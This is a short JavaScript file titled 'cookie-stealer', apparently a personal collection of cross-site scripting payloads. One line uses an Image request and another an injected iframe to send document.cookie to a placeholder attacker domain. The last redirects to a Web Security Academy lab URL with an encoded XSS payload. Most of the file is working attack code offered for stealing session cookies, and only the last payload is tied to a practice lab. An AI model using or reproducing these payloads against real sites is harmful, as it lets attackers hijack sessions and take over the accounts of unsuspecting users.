cookie-stealer

cookie-stealer.js

//using normal script
<script type="text/javascript">var i=new Image;i.src="http://your-domain:9001/?"+document.cookie;</script>

//iframe
<script type="text/javascript"> 
document.write("<iframe src='https://your-domain?cookie="+document.cookie+"'></iframe>");
</script>

// this works better
<script>
location = 'https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>